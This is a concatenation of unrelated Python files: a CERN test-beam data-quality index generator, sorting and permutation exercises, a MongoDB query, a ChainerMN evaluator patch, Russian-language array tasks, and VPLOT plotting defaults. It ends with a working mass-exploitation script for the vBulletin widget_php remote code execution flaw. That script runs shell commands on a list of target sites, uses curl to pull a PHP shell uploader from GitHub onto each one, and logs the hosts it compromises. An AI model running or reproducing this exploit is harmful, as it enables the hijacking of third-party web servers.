            obj.addCleanup(obj.dhcp.recover_configfile, remove_backup=False)
        if getattr(obj.dhcp, 'dhcp6_file_backup'):
            obj.addCleanup(obj.dhcp.recover_configfile6, remove_backup=False)


#!/usr/bin/env python

import sys
import os
import time
import re

import logging
FORMAT = '%(asctime)s: %(name)s - %(levelname)s: %(message)s'
DATEFMT = '%H:%M:%S'
logging.basicConfig(format=FORMAT, datefmt=DATEFMT, level=logging.INFO)
log = logging.getLogger("index")

import HTML
import utils
from config import *

def main():
    index()

def index():
    log.info('Make index')
    # sys.stdout.write('[make index] ... ')
    # sys.stdout.flush()
    procenv = utils.source_bash(dqm_env_file)
    targetdir = procenv['TARGETDIRECTORY']

    #runs = []
    run_status = {}

    log.debug('Get job statuses')
    for j in range(JOBS.nJobs):
        for s in range(STATUS.nStatus):
            dbsubdir = os.path.join(dbdir,JOBS.prefix[j],STATUS.prefix[s])
            # sys.stdout.write('subdir %s\n' % dbsubdir)
            dblist = os.listdir("%s" % dbsubdir)
            for line in dblist:
                # sys.stdout.write('\t%s\n' % line)
                run, board, job, status = parse_db(line)
                # sys.stdout.write('\t\t%s %s %s %s\n' % (str(run), board, JOBS.prefix[job], STATUS.prefix[status]))
                # sys.stdout.flush()
                # if run not in runs:
                #     runs.append(run)
                label = str(run).zfill(6)+'_'+board
                if (label) not in run_status:
                    run_status[label] = {}
                if job not in run_status[label] or run_status[label][job] < status:
                    run_status[label][job] = status

    # runs = sorted(runs, reverse=True)

    log.debug('Create table')
    header_row = ['Run']
    header_row.extend(JOBS.prefix[:-1])
    header_row.append('Events valid')
    t = HTML.Table(header_row=header_row)
    for run_board in sorted(run_status, reverse=True):
        run_link = HTML.link(run_board, '%s' %run_board)
        row = [run_link]

        r_b = run_board.split('_')
        nevts = get_num_events(r_b[0], r_b[1], targetdir)

        # for job in run_status[run_board]:
        #     color = STATUS.colors[run_status[run_board][job]]
        #     colored_result = HTML.TableCell(STATUS.prefix[run_status[run_board][job]], bgcolor=color)
        #     row.append(colored_result)

        for job in range(JOBS.nJobs):
            if job in run_status[run_board]:
                color = STATUS.colors[run_status[run_board][job]]
                colored_result = HTML.TableCell(STATUS.prefix[run_status[run_board][job]], bgcolor=color)
            else:
                color = STATUS.colors[STATUS.unknown]
                colored_result = HTML.TableCell(STATUS.prefix[STATUS.unknown], bgcolor=color)
            row.append(colored_result)

        evtscell = HTML.TableCell(str(nevts), align='right')
        row.append(evtscell)
        t.rows.append(row)

    htmlcode = str(t)

    html_header = '''

    <meta http-equiv="content-type" content="text/html; charset=utf-8" />
    <title>Test Beam DQM - clusters</title>
    <meta name="keywords" content="CERN CMS tracker upgrade" />
    <meta name="description" content="CMS Tracker upgrade summary page" />
    <link href=".style/default.css" rel="stylesheet" type="text/css" />
    <link rel="shortcut icon" type="image/x-icon" href=".style/images/favicon.ico">

    %s Test Beam DQM

    ''' % dataset

    html_footer = '''

Page created on %s

©  Xin Shi 2013

    ''' %  time.strftime("%Y-%m-%d %H:%M:%S GMT", time.gmtime())

    index = os.path.join(targetdir, 'index.html')
    fo = open(index, 'w')
    fo.write(html_header)
    fo.write(htmlcode)
    fo.write(html_footer)
    fo.close()
    log.info('Indexing done')
    # sys.stdout.write(' OK.\n')

def parse_db(dbfile):
    status = STATUS.unknown
    job = JOBS.unknown
    board = 'unknown'
    run = 0

    stem_suffix = dbfile.partition('.dat.')

    #get run and board
    run, board = utils.parse_datfilename(stem_suffix[0])

    #Get job and status
    labels = (stem_suffix[2]).partition('.')
    for j in range(JOBS.nJobs):
        if labels[0] == JOBS.prefix[j]:
            job = j

    for s in range(STATUS.nStatus):
        if labels[2] == STATUS.prefix[s]:
            status = s

    return run, board, job, status

def get_num_events(run, board, targetdir):
    log.debug('Get valid events for run %s', str(run))
    searchstr = 'Events valid:'
    f = os.path.join(targetdir,str(run)+'_'+board,'decoding.html')
    if os.path.isfile(f):
        with open(f) as decf:
            for line in decf:
                if searchstr in line:
                    log.debug('\t%s', line)
                    return int(re.findall('\d+', line)[0])

    log.debug('Could not find events')
    return -1

if __name__ == '__main__':
    main()


def quick_sort(arr):
    if len(arr) <= 1:
        return arr
    pivot = arr[len(arr) // 2]
    less, equal, greater = [], [], []
    for a in arr:
        if a < pivot:
            less.append(a)
        elif a > pivot:
            greater.append(a)
        else:
            equal.append(a)
    return quick_sort(less) + equal + quick_sort(greater)

arr1 = [3, 7, 8, 5, 2, 1, 9, 5, 4]
print(sorted(arr1), quick_sort(arr1), sep='\n')
print([x for x in range(10)], quick_sort([x for x in reversed(range(10))]), sep='\n')
print([x for x in range(10)], quick_sort([x for x in range(10)]), sep='\n')


import pymongo

def embedded_query(db):
    yield db.collectionInventory.find({'size': { 'h': 14, 'w': 21, 'uom': "cm" }})
    #({ "size.uom": "in" }) //nested
count = 0
if __name__ == '__main__':
    client = pymongo.MongoClient()
    db = client.get_database('inventory')
    for i in embedded_query(db):
        for doc in i:
            print(doc)
            count += 1
        print('Encontrados : {0}'.format(count))
        print('--------------------')


from typing import List

class Solution:

    def recursively_find_permutation(self, nums, results, cur_perm, used):
        if len(cur_perm) == len(nums):
            print(cur_perm)
            temp = cur_perm[:]
            results.append(temp)
            return
        prev = None
        for num in nums:
            if num not in used and (prev is None or num != prev):
                cur_perm.append(num)
                used.add(num)
                self.recursively_find_permutation(nums, results, cur_perm, used)
                cur_perm.pop()
                used.remove(num)
                prev = num

    def permuteUnique(self, nums: List[int]) -> List[List[int]]:
        results = []
        used = set()
        self.recursively_find_permutation(nums, results, [], used)
        return results

nums = [1,1,2]
sol = Solution()
print(sol.permuteUnique(nums))


import six

def create_multi_node_evaluator(actual_evaluator, communicator):
    """Create a multi node evaluator from a normal evaluator.

    Actually this method patches the evaluator to work in multi node
    environment. This method adds several hidden attributes starting
    with `_mn_` prefix.

    Args:
        actual_evaluator: evaluator to be patched
            (e.g., ``chainer.training.extensions.Evaluator``)
        communicator: ChainerMN communicator

    Returns:
        The multi-node patched ``actual_evaluator``.

    .. note:: After patched, original evaluator does not work
              correctly in non-MPI environment.

    """

    actual_evaluator._mn_original_evaluate = actual_evaluator.evaluate
    actual_evaluator._mn_communicator = communicator

    def new_evaluate(self):
        local_mean_dict = self._mn_original_evaluate()
        global_mean_dict = {
            name:
            self._mn_communicator.allreduce_obj(
                value) / self._mn_communicator.size
            for name, value in sorted(local_mean_dict.items())
        }
        return global_mean_dict

    actual_evaluator.evaluate = six.create_bound_method(
        new_evaluate, actual_evaluator)
    return actual_evaluator


from random import randint

# 1. В диапазоне натуральных чисел от 2 до 99 определить, сколько из них кратны каждому из чисел в диапазоне от 2 до 9.
print("Задача 1")
array1 = [i for i in range(2, 100)]
result1 = [0] * 8
for i in array1:
    count = 0
    for j in range(2, 10):
        if i % j == 0:
            result1[j-2] += 1
i = 0
while i < len(result1):
    print("Чисел кратных %d - %d" % (i+2, result1[i]))
    i += 1

# 2. Во втором массиве сохранить индексы четных элементов первого массива.
# Например, если дан массив со значениями 8, 3, 15, 6, 4, 2, то во второй массив надо заполнить значениями 1, 4, 5, 6
# (или 0, 3, 4, 5 - если индексация начинается с нуля), т.к. именно в этих позициях первого массива стоят четные числа.
print("Задача 2")
array2 = [randint(0, 100) for _ in range(15)]
even_array = []
for i in array2:
    if i % 2 == 0:
        even_array.append(array2.index(i))
print("Исходный массив -", array2)
print("индексы четных элементов массива -", even_array)

# 3. В массиве случайных целых чисел поменять местами минимальный и максимальный элементы.
print("Задача 3")
array3 = [randint(0, 100) for _ in range(15)]
a = -1
b = 100
for i in array3:
    if i > a:
        a = i
for i in array3:
    if i < b:
        b = i
print("Начальный массив -", array3)
inx_a = array3.index(a)
inx_b = array3.index(b)
array3[inx_a], array3[inx_b] = b, a
print("Измененный массив -", array3)

# 4. Определить, какое число в массиве встречается чаще всего.
# при наличии нескольких чисел равных по частоте появления выводится то, что больше по индексу
print("Задача 4")
array4 = [randint(0, 10) for _ in range(15)]
digit = -1
d_count = 0
for i in array4:
    count = 0
    for j in array4:
        if j == i:
            count += 1
    if count > d_count:
        d_count = count
        digit = i
print("В массиве -", array4)
print("Чаще всего встречается число %d (%d раз)" % (digit, d_count))

# 5. В массиве найти максимальный отрицательный элемент. Вывести на экран его значение и позицию в массиве.
print("Задача 5")
array5 = [randint(-100, 100) for _ in range(15)]
result5 = 0
pos = -1
for i in array5:
    if i < result5:
        result5 = i
        pos = array5.index(i)
print("В массиве -", array5)
print("максимальный отрицательный элемент: %d, индекс - %d" % (result5, pos))

# 6. В одномерном массиве найти сумму элементов, находящихся между минимальным и максимальным элементами.
# Сами минимальный и максимальный элементы в сумму не включать.
print("Задача 6")
array6 = [randint(0, 100) for _ in range(15)]
_max = -1
_min = 100
# ищем максимальный и минимальный элементы
for i in array6:
    if i > _max:
        _max = i
for i in array6:
    if i < _min:
        _min = i
inx_max = array6.index(_max)
inx_min = array6.index(_min)
result6 = 0
# считаем разницу индексов и минус один что бы не включать элементы
# и через цикл с кол-вом итераций равному кол_ву элементов между числами считаем
if inx_max > inx_min:
    z = inx_max - inx_min - 1
    iter = 1
    for i in range(z):
        result6 += array6[inx_min + iter]
        iter += 1
else:
    z = inx_min - inx_max - 1
    iter = 1
    for i in range(z):
        result6 += array6[inx_max + iter]
        iter += 1
print("В массиве -", array6)
print("сумму элементов, находящихся между минимальным(%d) и максимальным(%d) элементами - %d" % (_min, _max, result6))

# 7. В одномерном массиве целых чисел определить два наименьших элемента.
# Они могут быть как равны между собой (оба являться минимальными), так и различаться.

# сначала находим минимальное число, затем считаем кол-во его повторений, если больше одного значит выводим его дважды,
# если 1, то снова ищем минимальное число, но с условием что оно не равному ранее найденому
print("Задача 7")
array7 = [randint(0, 10) for _ in range(15)]
xx = 100
yy = 100
count = 0
for i in array7:
    if i < xx:
        xx = i

for i in array7:
    if i == xx:
        count += 1

if count > 1:
    yy = xx
else:
    for i in array7:
        if i < yy and i != xx:
            yy = i
print("В массиве -", array7)
print("два наименьших элемента: %d, %d" % (xx, yy))
# 8. Матрица 5x4 заполняется вводом с клавиатуры кроме последних элементов строк.
# Программа должна вычислять сумму введенных элементов каждой строки и записывать ее в последнюю ячейку строки.
# В конце следует вывести полученную матрицу.
print("Задача 8")
array8 = []
for i in range(5):
    temp_array = []
    last = 0
    for j in range(3):
        w = int(input("Введите число для %d строки, %d эелемента" % (i + 1, j + 1)))
        temp_array.append(w)
    array8.append(temp_array)

for i in array8:
    last = 0
    for j in i:
        last += j
    i.append(last)

for i in array8:
    print(i)

# 9. Найти максимальный элемент среди минимальных элементов столбцов матрицы.
# используется та же матрица что и в предыдущем задании
print("Задача 9")

array9 = []
for i in array8:
    min_row = 10000
    for j in i:
        if j < min_row:
            min_row = j
    array9.append(min_row)

result9 = -1000
for i in array9:
    if i > result9:
        result9 = i

print("Минимальные элементы столбцов матрицы -", array9)
print("максимальный из них: %d" % result9)


#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
defaults.py
-----------

These are the default config values used by VPLOT. You can override these by
placing a file named `vplot_config.py` in the VPLANET output directory and
setting custom values for these parameters.

'''

# A
aaxis =                   None                                                        # Alpha-axis param
alog =                    3                                                           # If alpha-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale

# B
bodies =                  []                                                          # Body names to plot

# C
columns =                 True                                                        # Plot in several columns?

# F
figheight =               10                                                          # Figure height in inches
figname =                 'vplot.png'                                                 # Figure file name
figwidth =                16                                                          # Figure width in inches

# I
interactive =             True                                                        # If true, figure pops up in an interactive window

# L
legend_loc =              'best'                                                      # Legend location. See http://matplotlib.org/api/legend_api.html#matplotlib.legend.Legend
legend_all =              True                                                        # Show legend on all subplots? If False, only show on top subplot
legend_fontsize =         10                                                          # Legend font size
line_styles =             ['b-', 'g-', 'r-', 'c-', 'k-',                              # Line styles for each body
                           'b:', 'g:', 'r:', 'c:', 'k:',
                           'b--', 'g--', 'r--', 'c--', 'k--']
linewidth =               1.5                                                         # Plot line widths

# M
maxylabelsize =           20                                                          # Maximum length for y label (in characters) when plotting extended descriptions. Above this, plots the short label instead
maxrows =                 4                                                           # Maximum number of rows in figure

# S
short_labels =            False                                                       # Use short axis labels?
skip_xzero_log =          True                                                        # If first value in x array is zero and `xlog` is set, skips the first value so that log plotting will work

# T
tight_layout =            False                                                       # Calls plt.tight_layout() for a snug fit
title =                   True                                                        # Add a title to the plot?

# X
xaxis =                   'Time'                                                      # Param to plot on the x-axis
xlabel_fontsize =         16                                                          # X-axis label font size
xlog =                    3                                                           # If x-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale
xticklabel_fontsize =     14                                                          # X-axis tick labels font size

# Y
yaxis =                   []                                                          # List of params to plot on the y-axis
ylabel_fontsize =         12                                                          # Y-axis label font size
ylog =                    3                                                           # If y-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale
ymargin =                 0.1                                                         # Y-axis margins in figure fraction
yticklabel_fontsize =     12                                                          # Y-axis tick labels font size

#
# DOCS
#

class _Docs(object):
  '''

  '''

  def __init__(self):

    # A
    self.aaxis =              'Parameter to plot on the alpha (transparancy) axis. Default is None'
    self.alog =               'If alpha-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale'

    # B
    self.bodies =             'List of body names to plot. Should match names of .in files. Default is [], which plots curves for all bodies in the cwd.'

    # C
    self.columns =            'If True, arranges subplots into multiple columns. If False, plots up to a maximum of `maxrows` plots in a single column.'

    # F
    self.figheight =          'Figure height in inches'
    self.figname =            'Figure file name'
    self.figwidth =           'Figure width in inches'

    # I
    self.interactive =        'If True, figure pops up in an interactive window. If False, saves figure directly to disk.'

    # L
    self.legend_loc =         'Legend location. See http://matplotlib.org/api/legend_api.html#matplotlib.legend.Legend'
    self.legend_all =         'Show legend on all subplots? If False, only show on top subplot'
    self.legend_fontsize =    'Legend font size'
    self.line_styles =        'Line styles for each body'
    self.linewidth =          'Plot line widths'

    # M
    self.maxylabelsize =      'Maximum length for y label (in characters) when plotting extended descriptions. Above this, plots the short label instead'
    self.maxrows =            'Maximum number of rows in figure'

    # S
    self.short_labels =       'Use short axis labels?'
    self.skip_xzero_log =     'If first value in x array is zero and `xlog` is set, skips the first value so that log plotting will work'

    # T
    self.tight_layout =       'Calls plt.tight_layout() for a snug fit'
    self.title =              'Add a title to the plot?'

    # X
    self.xaxis =              'Name of parameter to plot on the x-axis. Default is "Time".'
    self.xlabel_fontsize =    'X-axis label font size'
    self.xlog =               'If x-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale'
    self.xticklabel_fontsize ='X-axis tick labels font size'

    # Y
    self.yaxis =              'String or list of strings corresponding to the names of the parameters to plot on the y-axis. Default is [], which plots all parameters up to a maximum of `maxplots.`'
    self.ylabel_fontsize =    'Y-axis label font size'
    self.ylog =               'If y-axis range is more than this many orders of magnitude, make it log-scaled. Set to False to force linear scale'
    self.ymargin =            'Y-axis margins in figure fraction'
    self.yticklabel_fontsize ='Y-axis tick labels font size'


import urllib3, requests, os, sys, re, json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import base64
import random
import string
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
from multiprocessing.dummy import Pool as ThreadPool
from time import time as timer
from platform import system
from colorama import Fore
from colorama import Style
from pprint import pprint
from colorama import init
import urllib
from bs4 import BeautifulSoup

fr  =   Fore.RED
fc  =   Fore.CYAN
fw  =   Fore.WHITE
fg  =   Fore.GREEN
sd  =   Style.DIM
sn  =   Style.NORMAL
sb  =   Style.BRIGHT

try:
	os.system('clear')
	print("""
	|  | |  ||       ||       ||   | | ||       ||   _   ||  |  | ||       |
	|  |_|  ||____   ||    ___||   |_| ||    ___||  |_|  ||   |_| ||  _____|
	|       | ____|  ||   |___ |      _||   | __ |       ||       || |_____
	|       || ______||    ___||     |_ |   ||  ||       ||  _    ||_____  |
	 |     | | |_____ |   |___ |    _  ||   |_| ||   _   || | |   | _____| |
	  |___|  |_______||_______||___| |_||_______||__| |__||_|  |__||_______|

	  [ + ] Author : Serizawa

	[ + ] Familly Attack Cyber ~ Dann Kowalskyi [ + ]
	  """)
	ganteng = input('ur files => ')
	f= open(ganteng, 'r')
	woh = f.read().splitlines()
except IOError:
	pass
woh = list((woh))

def Domains(url):

	if '://' not in url:
		return "http://" + url
	else:
		return url
def vbulet(site):
	params = {"routestring":"ajax/render/widget_php"}
	params2 = {"routestring":"ajax/render/widget_php"}

	url = Domains(site)

	try:
		cmd = 'uname -a'
		params["widgetConfig[code]"] = "echo shell_exec('uname -a'); exit;"
		params2["widgetConfig[code]"] = "echo shell_exec('curl https://raw.githubusercontent.com/Avinash-acid/Shell-Uploader/master/uploader.php -o ganteng.php'); exit;"
		r = requests.post(url, data = params, timeout=3).text
		r2 = requests.post(url, data=params2, timeout=3).text
		kot = url+'/ganteng.php'
		bla = requests.get(url+'/ganteng.php').text
		if 'Linux' in r:
			print('{}[ {}VULN {}] {}{}' . format(fr,fg,fr,fg,url))
			print('{} [ {}+ {}] {}[ {}EXPLOITING {}]' .format(fr,fg,fr,fr,fg,fr))
			open('vBullet.txt', 'a').write(url + "\n")

			if 'Avinash Kumar Thapa' in bla:
				print(' {}[ {}+ {}] {}[ {}SUCCESS {}] {}{}' . format(fr,fg,fr,fr,fg,fr,fg,kot))
			else:
				print(' {}[ {}+ {}] {}[ {}FAILED {}] {}{}' .format (fr,fg,fr,fg,fr,fg,fg,url))

		else:
			print('{}[ {}NOT VULN {}] {}{} ' . format(fg,fr,fg,fg,url))
	except KeyboardInterrupt:
		sys.exit("\nClosing shell...")
	except Exception as e:
		print('{}[ {}ERROR {}] {}{} ' .format(fg,fr,fg,fg,url))

def Run_Work(site):
	url = Domains(site)
	vbulet(url)

os.system('clear')
def Main():

	start = timer()
	pp = ThreadPool(40)
	pr = pp.map(Run_Work, woh)
	print('Time: ' + str(timer() - start) + ' seconds')

if __name__ == "__main__":
	Main()